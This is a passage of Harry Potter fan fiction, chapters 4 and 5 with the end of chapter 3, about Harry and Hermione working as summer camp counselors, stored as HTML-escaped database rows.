anything cruel about his admittance to his feelings for Hermione.<br>\n\n\n<br>\n &quot;So you really do like her. \'Right. Have you told her?&quot;<br>\n\n\n<br>\n &quot;Of course not!&quot; Harry looked astonished. &quot;Why would I do such a thing?! You know \'Mione! She\'d probably never speak to me again!&quot;<br>\n\n\n<br>\n &quot;Or she\'d say she liked you back,&quot; Ron countered.<br>\n\n\n<br>\n &quot;How silly of me Ron. Naturally she\'d tell me that!&quot; Harry rolled his eyes.<br>\n\n\n<br>\n &quot;She might. You don\'t know until you try.&quot;<br>\n\n\n<br>\n &quot;You don\'t think it\'s strange. I mean, she is both our best friend. That\'s all we\'ve all ever been to each other, best friends.&quot; Harry wagered.<br>\n\n\n<br>\n &quot;Why would I you git?! This is fantastic! I always wagered out of all of Gryffindor, you two would be the most likely to get together!&quot; he smiled. &quot;In fact, Dean, Seamus and I have a gamble on it. Hurry up and ask her out.&nbsp; I said you two would be a couple before seventh year! I\'ve had 20 galleons riding on that bet for two years now!&quot;<br>\n\n\n<br>\n &quot;Really?&quot; Harry laughed a bit.<br>\n\n\n<br>\n &quot;Really. Now what\'ve you done to put yourself in such a tizzy?&quot;</p>\n\n<p>~*~</p>\n\n<p>Replies to chapter three get chapter four posted sooner! =)</p> '),
	(134, 4, ' <p>Chapter Four<br>\n\n\n<br>\n Hermione awoke the next morning to the incessant buzzing of her alarm clock. It was ringing in her ears, but she was too groggy to open her eyes. She reached for her wand, which she usually slept next to, to blast it off. When she was too sleepy, she never wanted to actually get up and walk to her nightstand to turn it off manually.<br>\n\n\n<br>\n &quot;My WAND!&quot; she suddenly shot up in bed wide-awake, realizing it wasn\'t in its usual spot by her side. She blinked a couple times as her surroundings came into view.<br>\n\n\n<br>\n &quot;What was that Hermione?&quot; Meegan came into view as Hermione realized she was at camp and not at school.<br>\n\n\n<br>\n &quot;Oh nothing. I must have been dreaming and it woke me up. I cannot even remember what about now,&quot; she faked, &quot;I think I\'ll go shower.&quot;<br>\n\n\n<br>\n &quot;You should. Hurry up then. Allison is there now. I already took mine. We got up half and hour before you. There could be quite a line forming,&quot; Meegan began to towel her hair.<br>\n\n\n<br>\n Hermione glanced at her clock. It only read 6:03am. &quot;You mean to say, you go up at 5:30!&quot;<br>\n\n\n<br>\n &quot;Hermione, this is camp! She who gets up earliest gets to look her best that day. And might I add with *certain* boys around, looking one\'s best is always a plus.&quot;<br>\n\n\n<br>\n &quot;I should hurry then!&quot; Hermione smiled, catching on. She certainly did not want to run out of time and end up waiting for campers at 7:00 with still damp hair. She grabbed her things, slipped on some thong sandals, and began back up the path toward the bathrooms. Right as she got towards the door, she heard a voice behind her.<br>\n\n\n<br>\n &quot;HERMIONNEE!&quot; He had to be only twenty feet behind her or so.<br>\n\n\n<br>\n &quot;Dear me,&quot; she whispered, stopping for a moment. She knew it was Harry. She debated on whether or not to turn, but then realized she looked simply dreadful. Instead, she bolted into the bathroom, pretending she didn\'t hear him.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Ron, she hates me,&quot; Harry frowned sitting down next to Ron at breakfast.<br>\n\n\n<br>\n &quot;Wha\'?&quot; he asked through mouthfuls of food.<br>\n\n\n<br>\n &quot;Herm...&quot; he started before looking around and lowering his voice to a whisper, &quot;Hermione.&quot;<br>\n\n\n<br>\n &quot;Did you let her know you fancied her?&quot; Ron asked.<br>\n\n\n<br>\n &quot;Quiet down, you git,&quot; he nearly went ballistic.<br>\n\n\n<br>\n &quot;Did you?&quot; he lowered his voice a bit to appease Harry.<br>\n\n\n<br>\n &quot;No, all I did was call her name this morning.&quot;<br>\n\n\n<br>\n &quot;And?&quot;<br>\n\n\n<br>\n &quot;That\'s it. She stopped walking for a moment, then just kept going.&quot;<br>\n\n\n<br>\n &quot;And you\'re in a tizzy again because?&quot;<br>\n\n\n<br>\n &quot;Bloody hell Ron, I do not get into tizzies! The point was, I think she heard me. I mean, why did she stop then? And if she heard me, then ignored me, maybe she\'s upset that I hugged her last night.&quot;<br>\n\n\n<br>\n &quot;You\'re being a git. She most likely didn\'t hear you. This is \'Mione. If she were upset for you hugging her, she\'d let you know about it in a most unfriendly way.&quot;<br>\n\n\n<br>\n &quot;True. Remember the way she slugged Dean last year for touching her behind on a dare from Seamus?&quot; Harry laughed.<br>\n\n\n<br>\n &quot;Do I ever! I talked Seamus into starting that dare! It was bloody brilliant!&quot;<br>\n\n\n<br>\n &quot;Dean had a black eye for a week!&quot; Harry recalled doubling over.<br>\n\n\n<br>\n &quot;Ya&#8230;&quot; Ron laughed wiping a tear from his eye. &quot;She didn\'t beat you, you know. It\'ll be all right.&quot;<br>\n\n\n<br>\n &quot;Lucky for me,&quot; Harry laughing subsided as her noticed Hermione walking over with her breakfast in hand.<br>\n\n\n<br>\n &quot;Good morning Harry, Ron. I trust you both slept well,&quot; she took a seat across from Harry next to Ron. Inside, he sighed a bit, wishing she were next to him. Even if it was just to feel her body head radiating against him.<br>\n\n\n<br>\n &quot;Fine, thanks,&quot; Ron noticed he had food again and became thoroughly interested in it now that\'s Harry\'s non-dilemma had been fixed.<br>\n\n\n<br>\n &quot;Harry,&quot; she hesitated, looking across the table. &quot;I&#8230;I didn\'t mean to not speak to you this morning. Its just that...&quot;<br>\n\n\n<br>\n &quot;It\'s all right. No need to explain,&quot; Harry eyes averted to his feet.<br>\n\n\n<br>\n &quot;No, I meant to say, I looked bloody dreadful. I just didn\'t want you to laugh. Not that you would but well you know girls. And neither of you have ever seen me right as I wake up. It\'s really a terrible sight,&quot; she smiled brightly as he looked up at her.<br>\n\n\n<br>\n &quot;Oh, don\'t worry about it then. I just assumed you didn\'t hear me,&quot; he lied.<br>\n\n\n<br>\n &quot;Oh. Well, I just wanted to clear that up incase...Oh, anyway. Let\'s eat shall we? We are expected up at the recreation field in only ten minutes,&quot; she averted her eyes from his again. They were too tempting to get lost in, and instead turned to her cold cereal before her.<br>\n\n\n<br>\n \'They are incorrigible!\' Ron sighed looking to and fro between in friends. \'I need to do something to get those two...\' He dropping his spoon into his cereal bowl and splashing milk on Hermione interrupted his thoughts.<br>\n\n\n<br>\n &quot;Ron, you git!&quot; she glared, grabbing her napkin to clean up.<br>\n\n\n<br>\n &quot;Sorry...&quot; he mumbled but his sights were set on the most beautiful Muggle he\'s ever laid eyes on who was approaching their table.<br>\n\n\n<br>\n &quot;Hermione!&quot; she called, snapping Ron from her gaze and to Hermione next to him.<br>\n\n\n<br>\n &quot;Hello Meegan! Come, sit with us,&quot; she smiled as the girl walked over.<br>\n\n\n<br>\n &quot;You met Harry last night,&quot; Hermione pointed at Harry whom Meegan had just taken a seat next to.<br>\n\n\n<br>\n &quot;Right, good morning Harry,&quot; she smiled politely, holding back a giggle as she remembered her, Hermione\'s and Allison\'s discussion about Harry they\'d had after he left last night.<br>\n\n\n<br>\n &quot;\'Morning,&quot; he smiled politely back, turning to his cereal.<br>\n\n\n<br>\n &quot;This,&quot; Hermione rose her voice to a bit of an accented note, herself remembering their latter of the conversation where Meegan noted her interest in Ron, &quot;is my other best friend Ron.&quot;<br>\n\n\n<br>\n &quot;Ron Weasley,&quot; he smiled, immediately sticking his hand out across the table. He nearly jumped out of his skin as she took it.<br>\n\n\n<br>\n &quot;Meegan White,&quot; she smiled, nervously trying to focus on his eyes.<br>\n\n\n<br>\n &quot;Very nice to meet you Meegan,&quot; he smiled goofily, sitting back down.<br>\n\n\n<br>\n &quot;Same to you,&quot; she smiled as Allison walked up and introductions were made for her.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n All the counselors had assembled on the upper recreation field. &quot;Greg&quot; as the camper director insisted on simply being called, had handed out cabin lists and directed the counselors on where to wait while their campers were arriving. Hermione had bid farewell to Ron and Harry who, with their junior counselor Patrick Johnson, had gone off to meet their campers.<br>\n\n\n<br>\n Currently, Hermione, Meegan, and Allison were sitting together in the grass looking at their cabin list. They had 12 ten year old girls: Abigail Sedgwick, Kyra Brooks, Allana Petersen, Annika Holmes, Ginger Marks, Emma Long, Rose Maguire, Hannah O\'Meara, Sarah Wilson, and Juliet Brown.<br>\n\n\n<br>\n The three girls had already become very comfortable with each other and were quite happy to be working together all summer.<br>\n\n\n<br>\n Slowly as they waited, their campers began to arrive one by one. By 7:30, Abigail, or Abby as she preferred, Kyra, Allana, Sarah, Hannah, Ginger, and Rose were all already there. All of the girls except for Sarah had been to Camp Silver Lake before and were already good friends. They included Sarah without any qualms. The girls sat gabbling with Allison while Meegan and Hermione waited for the rest. Next to arrive were Emma and Annika together. They were apparently best friends who had also both been to camp before. They quickly joined the other girls and joined in the catching up that was going on.<br>\n\n\n<br>\n &quot;Just Juliet then,&quot; Hermione read off their list to Meegan. As if she spoke too soon, a girl approached them. She was carrying her bags and waving over her shoulder to her parents who were speaking to Greg. She had shoulder length brown hair and bright blue eyes. As she looked at Hermione and Meegan, the counselors Greg had directed her to, she smiled like the other girls had but her eyes widened unnaturally large at the sight of Hermione and she let out a small gasp. She covered it up though and introduced herself, &quot;I\'m Juliet Brown. You must be Meegan and H...Hermione,&quot; she smiled.<br>\n\n\n<br>\n &quot;Yes, nice to meet you Juliet,&quot; Meegan smiled. Hermione was still quiet wondering why Juliet had looked at her so strangely. &quot;Have you been to camp before?<br>\n\n\n<br>\n &quot;Yes,&quot; she smiled, &quot;this is my 4th year. My older sister came here before me also,&quot; she noted eyeing Hermione again. &quot;Well then, I think we should all go to our cabin since I\'m last to arrive, right?&quot; She smiled friendly at the girls.<br>\n\n\n<br>\n &quot;Right,&quot; Hermione mumbled, still puzzling over Juliet. Meegan went to gather the girls as Hermione and Juliet started off since Juliet still had her bags in hand.<br>\n\n\n<br>\n &quot;Hermione Granger, is it not?&quot; Juliet smiled, finally speaking, as they were halfway there.<br>\n\n\n<br>\n &quot;Yes, how did you...&quot;<br>\n\n\n<br>\n &quot;It\'s Brown, Juliet BROWN,&quot; she rolled her eyes giggling, &quot;I mentioned my older sister went here. I do believe you two are friends at Hogwarts.&quot;<br>\n\n\n<br>\n Hermione nearly choked stopping for a moment, \'How did Juliet know I went to Hogwarts!?!\' She nearly panicked. This was not good. She raked her brain and suddenly shouted, &quot;Lavender! Oh Lavender Brown, she\'s your older sister isn\'t she?&quot; Hermione smiled as she made the connection.<br>\n\n\n<br>\n &quot;Took you a bit did it,&quot; Juliet joked. &quot;I heard you\'re top of your class, a Prefect in fact.&quot;<br>\n\n\n<br>\n &quot;Sorry,&quot; she laughed back, &quot;I just didn\'t expect to see anyone else here from Hogwarts.&quot;<br>\n\n\n<br>\n &quot;Oh, I don\'t go yet, but I do start this September. I already got my letter. I hope I\'m in Gryffindor too!&quot;<br>\n\n\n<br>\n &quot;It\'s the best,&quot; she smiled but turned around noticing the other girls approaching, &quot;Best to not mention...&quot;<br>\n\n\n<br>\n &quot;School? Right, of course,&quot; Juliet smiled.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Harry, why are we back at our cabin?&quot; Ron was complaining to Harry as their campers unpacked.<br>\n\n\n<br>\n &quot;What are you talking about?&quot; Harry looked up from the magazine he\'d taken from Ron.<br>\n\n\n<br>\n &quot;We\'re only got eleven of our campers! Shouldn\'t we be waiting still,&quot; Ron said with exasperation. He was frantic. Harry nearly laughed. Obviously even though he\'d grown up in a large family, Ron wasn\'t good with kids. True, he was younger, so he was used to being the one getting cared for.&nbsp; Or maybe it was just the overload of Muggles that was making him nervous.<br>\n\n\n<br>\n &quot;Ron, breathe and think. Do you remember what Greg told us?&quot; Harry went back to reading his magazine.<br>\n\n\n<br>\n &quot;That William Creevey would be arriving late and to go wait in the cabin with the other boys,&quot; Ron took a breath after finishing the sentence entirely with his last one.<br>\n\n\n<br>\n &quot;Right Ron. Why don\'t you sit for a while? You look like you could use a rest,&quot; Harry chuckled a bit.<br>\n\n\n<br>\n At about 9:00, all the boys had unpacked and were playing cards with the counselors when a small boy, much smaller than the other eleven-year- old boys, opened the door. All the boys on the floor stopped and looked up at him. He had a backpack on and another bag in his hands. His sleeping back was in his other had and a large camera was slung around his next. He had brown, unruly hair, much like Harry\'s. Strangely, Harry thought he looked very familiar.<br>\n\n\n<br>\n As the boy looked at Harry, his eyes grew to the size of dinner plates and he dropped all of his bags on site. He fumbled to grab his camera in his hands rambling excitedly, &quot;You\'re Harry Potter!! You\'re Harry Potter!! I know you! It\'s Harry Potter!! HARRY POTTER!&quot;<br>\n\n\n<br>\n Ron began to laugh having figured it out, then it hit Harry and it was turn for his eyes to grown. CREEVEY. In a flash, he stood up and flew to the door slipping a hand over William\'s mouth to stop his yelling. &quot;We\'ll be right back,&quot; he quickly announced pulling William outside and shutting the door.<br>\n\n\n<br>\n &quot;HARRY! HARRY POTTER!&quot; he yelled as soon as Harry took his hand off the boy\'s mouth.<br>\n\n\n<br>\n &quot;Shhhhhhhhhhh!&quot; Harry said sternly looking around to see if anyone else was outside. &quot;William, WILLIAM!&quot; He tried to make the boy stop. &quot;Calm down, do you want to get us both in trouble.&quot;<br>\n\n\n<br>\n The boy stopped and stared at Harry in awe, &quot;He knows my name...&quot; He said in a whisper.<br>\n\n\n<br>\n &quot;Of course I do, I\'m your counselor.&quot;<br>\n\n\n<br>\n &quot;Hhh..H-Harry P-p-Potter\'s mm-my c-counselor?&quot; He looked as if he were about to faint.<br>\n\n\n<br>\n \'And I thought Colin and Dennis were annoying,\' Harry rolled his eyes. &quot;William, if anyone finds...finds out that I\'m well, you know..&quot; he lowered in voice to a near inaudible level, &quot;a wizard.&quot; He looked around again quickly, &quot;Well, let\'s just say we\'ll both get ourselves in big trouble. William looked at him with big eyes and nodded. &quot;All right then, no talk about Hogwarts or magic, or such things?&quot; The boy nodded again, still staring at Harry in awe. &quot;So you\'ll be at school then next year?&quot; The boy nodded again. &quot;Right then, if you don\'t say anything here. I\'ll let you take my picture all you want. You can have my autograph, whatever, alright?&quot; The boy nodded again looking very excited. &quot;Okay, we\'re going to go back inside now, but you must promise no mention of anything.&quot; The boy nodded again. Harry and William went back inside. William quietly picked up his bags and joined the other boys playing cards, still glancing at Harry ever once in awhile. Ron got up and went over to talk to Harry once William was settled.<br>\n\n\n<br>\n &quot;And you thought Colin was bad when you met him,&quot; Ron laughed.<br>\n\n\n<br>\n &quot;Shut up,&quot; Harry frowned. He did not need a smaller, more annoying version of Colin Creevey following him around all summer.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Okay, okay, everyone quiet down!&quot; Greg yelled as the entire camp had gathered in the lodge and were now seated at their own designated tables. &quot;First off, I\'d like to welcome each and everyone of you to Camp Silver Lake!&quot; He took a pause as everyone cheered. &quot;Now, I trust your counselors have all gone over the rules with you. Just as a reminder. No one, and I mean NO ONE, is allowed in or near to the lake without our lifeguard, Patty Bryant on duty.&quot; He motioned to a girl next to him who looked to be about their age. She smiled and waved at the kids. &quot;Now then, I\'d like to introduce the rest of the staff to you. This is my brother Peter Walters. He\'s the Recreation Director.&quot; A couple of older girls, as well as girl counselors, giggled as a muscular, tan man stood up and waved. </p>\n\n<p>He looked like he was about a year or so younger than Greg. &quot;This is his first year as Recreation Director. Last year he was a counselor so I\'m sure many of you remember him.&quot; He turned to a blond thirty-something woman, &quot;This is Wendy. She\'s our Arts and Crafts Director and has been with the camp since I was a camper. We are all very lucky to have her.&quot; Wendy smiled and waved. &quot;This,&quot; he had a man, about his same age, stand up next to him, &quot;is my Assistant Director Joe Alexander. This is his first year. Joe is a friend of mine from Oxford so I think you\'ll find him highly qualified.&quot; Joe, like Greg, was tall and strong with brown hair, except his hair ended in small curls. A few more girls sighed at his introduction. &quot;Finally, I\'d like to introduce you to our camp nurse, Madame Pomfrey.&quot;<br>\n\n\n<br>\n &quot;Blimey Harry, do you think,&quot; Ron started paling as he talked to Harry sitting next to him.<br>\n\n\n<br>\n &quot;I don\'t think, I know,&quot; Harry choked out staring in disbelief as none other that Madame Pomfrey stood and waved, smiling. Harry quickly glanced at Hermione a few tables away. She looked unphased. Harry frowned a bit and made a mental note to ask her later. Next to Harry, he felt a small tug come from his shirt. He looked over to see William Creevey looking up at him. He motioned for Harry to lean over and as he did so, William whispered into his ear.<br>\n\n\n<br>\n &quot;Isn\'t that the school nurse?&quot;<br>\n\n\n<br>\n &quot;Yes,&quot; he hissed back, &quot;Now no more talk of Hog-school alright?&quot;<br>\n\n\n<br>\n &quot;All right,&quot; William whispered as they turned their attention back to Greg.<br>\n\n\n<br>\n &quot;So, that\'s all I needed to tell you all. You\'re all free to take a tour of the grounds or join a game of kick ball I\'ll have Peter start. You have about an hour and a half until lunch at noon. I expect everyone back up here promptly. Anyone late eats last! Now everyone go have some fun!&quot;</p> '),
	(134, 5, ' <p>~*~<br>\n\n\n<br>\n Chapter 5<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Ron and Harry had decided to take their group over to the recreation field to join in the game of kickball that Peter was starting. The tour seemed rather pointless considering all of their campers had gone to Camp Silver Lake before and therefore should still remember their way around.<br>\n\n\n<br>\n As they arrived, Peter was dividing the campers into two teams, boys against girls, due to popular demand. Harry looked around and noticed nearly the entire camp was playing rather than taking tours to pass the time until lunch. He smiled as his eyes came across Hermione. He\'d have expected her to promptly take her group on a tour, but she\'d surprised him by being there. Maybe she\'d done it earlier to make their day more efficient, he laughed to himself.<br>\n\n\n<br>\n &#8220;Harry, pay attention. We\'re starting now and if you keep staring at her like that, you\'ll get yourself pelted in the head with the ball,&#8221; Ron laughed noticing his best friend entranced by subsequently their other best friend.<br>\n\n\n<br>\n &quot;Oh right. What side are we on?&quot; Harry smiled at Ron, prying is attention from Hermione. He blushed a bit, which he tried to hide, at the fact he\'d be gawking.<br>\n\n\n<br>\n &quot;We\'re up you git, now come on. We need to get off the field and over to the rest of the team!&quot; Ron nearly drug Harry, who was still a bit dazed, off the field. Lucky for him, no one but Ron had noticed.<br>\n\n\n<br>\n The boys, all of the boys, were lined up on the sidelines while the field was full of girls. There were about thirty for each side, which meant about four groups were still out doing tours. Harry and Ron were near the front on the line. Since it was a game, they didn\'t really need to be doing much work but playing. Naturally, their competitive sides, fueled by Quidditch, kept them always at an edge. They were probably more into the game that most of the campers.<br>\n\n\n<br>\n By the time Harry got up to the plate, it was already 5-0 in favor of the boys, who were still at bat in the first inning. He scanned the field looking for an opening, completely oblivious to the fact the William was sneaking pictures of him from his spot in line or that Hermione was intently watching him from her fielding position.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Blimey Hermione, that\'s him isn\'t it!&quot; Juliet screamed next to Hermione, breaking her intently satisfying gaze at Harry.<br>\n\n\n<br>\n &quot;Ah&#8230;what was that Juliet?&quot; The words were drowned out from everyone else around them due to the loud cheers from both sides and the excitement from the game.<br>\n\n\n<br>\n &quot;You never told me he was here! Oh my!&quot; Juliet was jumping up and down screaming.<br>\n\n\n<br>\n &quot;Who\'s here?&quot; Hermione was still trying to focus. She must have been lost on Harry for at least the past five minutes. She placed herself far enough to the side that she wouldn\'t really have to play, but could watch Harry instead.<br>\n\n\n<br>\n Just then the boys started yelling at Harry kicked the ball. Hermione turned forward just in time for the high speeding ball to peg her dead square in the stomach. She fell to the ground with a thump. No words could be managed as he\'d completely knocked the wind out of her.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry was waiting at the plate for the perfect pitch, well, roll, to him and since a ten year old girl was pitching, he took the first slow roller he got and kicked it with all his might. He knew he\'d contacted well when a cheer erupted behind him from the other boys. He loved nothing like the yells of a crowd. Something he\'d always fueled off since he started playing Quidditch. He took of toward first base, taking a glance to see where is ball was going. He saw is soaring down the third base line. Being that he was the first counselor to go, his kick was much harder and faster than all those before him. As it sailed down the line, something happened, it stopped dead stride coming into contact with a girl in the field. The world around Harry began to slow and he stopped running and froze as the girl crumpled to the ground. The boys behind him yelled, coaxing him to stop staring and keeping running. The only thing that stopped however was his heart as he realized that the girl was Hermione and that she wasn\'t getting up.<br>\n\n\n<br>\n Before another thought could hit him, he was sprinting to her and reached her in seconds.<br>\n\n\n<br>\n &quot;Hermione! Hermione!&quot; he called as he ran. Everyone else had finally realized what had happened and were gathering around her. Some of the boys, including Ron, came running over behind Harry.<br>\n\n\n<br>\n He quickly knelt beside her, sliding a hand under the base of her head. The other, he brought up to her cheek and brushed in gently as he spoke, &quot;\'Mione, it\'s me. I\'m sorry, wake up. Wake up \'Mione, I didn\'t mean to get you.&quot; He spoke very quietly trying not to cry in front of everyone. Of all people to hit! His heart was thudding against his chest. He\'d seen the way it had knocked her down. The wind had left her so quickly, she fell backward as if she were put into a full body bind.<br>\n\n\n<br>\n &quot;That\'s enough! That\'s enough! Everyone move on back!&quot; he heard a voice yelling, making its way through the crowd.<br>\n\n\n<br>\n &quot;\'Mione&#8230;&quot; he whispered to her again.<br>\n\n\n<br>\n &quot;Mister Potter!&quot; the voice boomed as Harry looked up to see Madame Pomfrey hovering over them. &quot;Care to tell me why Miss Granger is unconscious?&quot; She eyed him suspiciously. Harry knew she must have been calling them troublemakers in her head. Complaining that even here at camp they were still the ones doing foolish things to get hurt.<br>\n\n\n<br>\n &quot;Hermione got hit in the stomach with the ball. It knocked the wind out of her. I think she may have hit her head when she fell.&quot; Harry ran another finger over her cheek subconsciously as he spoke to her.<br>\n\n\n<br>\n &quot;Very well them,&quot; she knelt down and gave a quick examination of Hermione who was still knocked out. Harry moved back a bit, but still remained close enough so get could grab a hold of Hermione\'s hand when no one was looking. He wanted her to know someone was still there for her.<br>\n\n\n<br>\n &quot;Yes, she does seem to be all right. Just got the wind knocked out of her, poor dear. She\'ll be all right, no concussion. Mister Potter, why don\'t you pick up Miss Granger and follow me so she can lay down for a bit?&quot; With that she stood and continued shooing campers away to make a path for Harry.<br>\n\n\n<br>\n &quot;Come on \'Mione,&quot; he bent down and gently scooped her small frame into his arms. Carefully, he titled her so that her head tipped in a comfortable position against his shoulder. His could feel her heart beating against him as he smiled down at her in his arms. He\'d always dreamed of holding her like this. Her soft, summery smell floated around her. Harry would have continued to stay in the moment, but Madame Pomfrey called again snapping Harry back into reality. He quickly realized he wasn\'t holding a sleeping Hermione, but rather an unconscious one that needed to get out of the sun and into the nurses office. He gently carried her following Madame Pomfrey. Not unexpectedly, the game restarted as soon as they\'d left and the campers lost interest in the situation.<br>\n\n\n<br>\n &quot;Set her there on the bed Mister Potter,&quot; she directed, shutting, and locking the main door before pulling a bag, hidden in the back of a drawer, out from it\'s hiding spot. &quot;Can\'t let anyone see me giving this to her,&quot; she gave Harry a knowing smile as she proceeded to close the curtains before going back to the bag and pulling out a vial of green liquid. She poured it into a spoon and went over to where Hermione lied with Harry sitting at her side, holding her hand again. &quot;Open up Miss Granger,&quot; she spoke, opening Hermione\'s mouth for her and pouring the foul smelling liquid down. Harry frowned in disgust. Fortunately though, so did Hermione as her head shot up, coughing and spitting.<br>\n\n\n<br>\n &quot;That was absolutely repulsive!&quot; she yelled before coughing a bit and looking around. She noticed Harry first. He was intently looking at her with a smile of relief playing in his eyes. She was about to say something when she felt a small squeeze and her fingertips and glanced down to notice Harry had just released her hand. She wondered how long he\'d been holding it with a hidden smile before looking up to Madame Pomfrey for directions.<br>\n\n\n<br>\n &quot;A simple Up and Atom potion Miss Granger. I had Professor Snape mix me up a batch before I came. Good for children who refuse to get out of bed, curing the Sleeping Beauty curse, and reviving those who seemed to get knocked out such as yourself.&quot;<br>\n\n\n<br>\n &quot;Knocked out?&quot; she sat up further, but slowed as she felt a rush of dizziness hit her. She put a hand up to the back of her head and felt a small bump forming. Harry quickly placed a hand on her shoulder to steady her. Hermione instantly felt the rush of dizziness returns, however this time brought on by Harry\'s touch.<br>\n\n\n<br>\n &quot;I\'m afraid I got you pretty good in the stomach with a kickball,&quot; Harry eyes pleaded for forgiveness as she looked at him. The word stomach brought her attention to her abdomen. She took a small breath in a winced, noticing, in fact, that it was a bit sore.<br>\n\n\n<br>\n &quot;How\'d I get here?&quot; she asked matter-of-factly, sliding out of the bed and sitting at the side. &quot;Where are my campers? Are they all right?&quot;<br>\n\n\n<br>\n &quot;They\'re fine dear. Still playing kickball with the other counselors I\'d assume. Why don\'t you lie down another minute before you go back out? You took a nasty hit. Mister Potter here sure nailed that one.&quot; She smiled at the pair.<br>\n\n\n<br>\n &quot;But..&quot; Hermione protested, thinking of her responsibility to her campers.<br>\n\n\n<br>\n &#8221;If it would ease you a bit, I\'ll go take a peak at them. I don\'t suppose you\'d mind watching her at all, would you Mister Potter,&quot; she smiled at the boy.<br>\n\n\n<br>\n &quot;Not at all,&quot; he still had a hand on her shoulder for support. Once Madame Pomfrey left, he turned his attention back to Hermione.<br>\n\n\n<br>\n &quot;What do you suppose she\'s here for?&quot; Harry tried to lighten the mood by changing to topic of conversation.<br>\n\n\n<br>\n Hermione blushed at looked down at her hands. She knew he\'d ask her as soon as he found out Madame Pomfrey was there. &quot;I\'d imagine Dumbledore got wind and sent her to keep a eye on me.&quot; He tested the waters and watched as Hermione flinched a bit.<br>\n\n\n<br>\n &quot;Hermione...&quot; he began with an exasperated tone, knowing she\'d told him.<br>\n\n\n<br>\n &quot;Well I did it for you own good. You can\'t go running around all summer with out some sort of protection! Of course I told Dumbledore! I knew he\'d want to put charms on the camp to keep you safe. That\'s all I wanted to do, to keep you safe,&quot; she kept her eyes down.<br>\n\n\n<br>\n &quot;It\'s okay \'Mione,&quot; he took his arm off her shoulder. She immediately missed its warmth but it was quickly replaced by his arms wrapping around her shoulders and pulling her into his side.<br>\n\n\n<br>\n &quot;Now I didn\'t hurt you too badly now did I,&quot; he joked.<br>\n\n\n<br>\n She laughed a bit, &quot;Not so bad as I can\'t whop you one for it.&quot; She finally looked up into his eyes which were smiling back at her.<br>\n\n\n<br>\n &quot;Thank you by the way,&quot; she said.<br>\n\n\n<br>\n &quot;For what?&quot; he was still smiling at her like an idiot, completely entranced by her beauty and her proximity.<br>\n\n\n<br>\n &quot;For sitting here with me,&quot; she smiled, &quot;Even if it was your fault!&quot; She added wickedly at the end after a minute pause.<br>\n\n\n<br>\n &quot;Hey!&quot; Harry retaliated by sliding his arm from her shoulders, down to her waist holding her tight as his other hand snaked out and began tickling her mercilessly.<br>\n\n\n<br>\n &quot;Oh Harry! Don\'t! Please!&quot; she begged through fits of laughter. Just then, Madame Pomfrey burst through the door. She gave the two an odd look. They\'d frozen in air. Hermione was leaning into Harry to try and avoid the tickling, rather than pull away, which had momentarily been effective considering his arms had both tightened around her on impulse. She\'d been too close for him to avoid holding her.<br>\n\n\n<br>\n &quot;Feeling better are we? Well run along now. The game is ending and everyone is filing into the lodge for lunch,&quot; she shooed them out with a smile as they scrambled to compose themselves.<br>\n\n\n<br>\n &quot;Um...Hermione,&quot; Harry started. He couldn\'t keep ignoring the fluttering in his stomach. He had to say something. They neared the entrance and could see everyone already inside.<br>\n\n\n<br>\n &quot;Thanks for carrying me,&quot; she smiled with a wink, cutting him off with a kiss on the cheek as she darted off inside to find her girls. Harry stood there dazed. A lazy hand rose to rest on the place where she\'d kissed him. \'How\'d she know I\'d carried her?\' he puzzled as he aimlessly made his way to the table designated for his cabin with his hand still on the spot where she kissed him.<br>\n\n\n<br>\n &quot;Harry! HARRY!&quot; Ron yelled finally standing and taking hold of Harry and yanking him to a seat. &quot;Harry are you in one of your tizzies again?&quot;<br>\n\n\n<br>\n That snapped Harry out of it, &quot;Ron, I told you that I don&#8217;t get into...&quot; he stated before realizing the entire table was staring at him. He shook his head a bit and focused. &quot;What?&quot; he simply stated to clear the air.<br>\n\n\n<br>\n &quot;Do you reckon the whole camp saw then?&quot; Ron laughed at his clueless friend.<br>\n\n\n<br>\n &quot;Saw what?!&quot;<br>\n\n\n<br>\n &quot;Hermione kissing your cheek in the doorway. Bloody hell Harry, are you two a couple and you haven\'t told me yet?&quot; Ron was already near half done eating and still shoveling food in.<br>\n\n\n<br>\n &quot;We are not a couple Ron,&quot; he stated defensively.<br>\n\n\n<br>\n &quot;Why not?&quot;<br>\n\n\n<br>\n &quot;Well, I don\'t know. I was thinking of telling her, but then she kissed me,&quot; Harry poked around at his food a bit.<br>\n\n\n<br>\n &quot;So she didn\'t deck you for pegging her stomach? She\'d have had it been any other boy, including me!&quot; Ron smirked.<br>\n\n\n<br>\n &quot;No, I suppose she didn\'t,&quot; Harry sighed.<br>\n\n\n<br>\n &quot;So was it a friendly kiss, or an <i>I Love You Too You Crazy Git</i> kiss?&quot; Ron laughed having allowed Harry to think he\'d let the subject go.<br>\n\n\n<br>\n &quot;I don\'t know! She was thanking me for helping her. I don\'t know Ron!&quot; he threw his hands down in exasperation. More frequently now he\'d been having moments with Hermione; a little more touching there, a hug, a kiss on the cheek. It was all so much more than he\'d been used to. Normally, he\'d get a hug or a kiss on the cheek up arriving and departing school, and the occasional for the relief that he\'d survived mortal danger yet again, but really it was usually limited to that. It was now beginning to become a daily occurrence. It left Harry to wonder, could Hermione maybe feel the same way?<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione was still blushing as she reached her table without looking back. If she still had her ability to turn back time, she\'d have gone up and slapped some sense into herself. She couldn\'t fathom why she was being so blatantly stupid around Harry. Her impulsive behavior had to stop. She was hugging and kissing him daily now. He was going to start noticing!<br>\n\n\n<br>\n &quot;Hermione! Are you ok?!&quot; Allison began her rambling the second she saw Hermione nearing the table. &quot;We saw you get hit! Did it hurt? Did you talk to Harry? We saw him carry you away,&quot; she winked.<br>\n\n\n<br>\n &quot;I\'m fine,&quot; she offered a smile, sitting down to eat.<br>\n\n\n<br>\n &quot;All right then?&quot; Meegan, who was next to her, leaned over to whisper. Hermione nodded. &quot;Are you sure? You still look flushed.&quot; She too winked, leaning away.<br>\n\n\n<br>\n Hermione knew exactly what she was implying. Why\'d she have to let Harry get to her so much! He was just looking after her because it had been his fault. Besides, he\'s her best friend, of course he\'d take care of her if she\'d gotten hurt, he 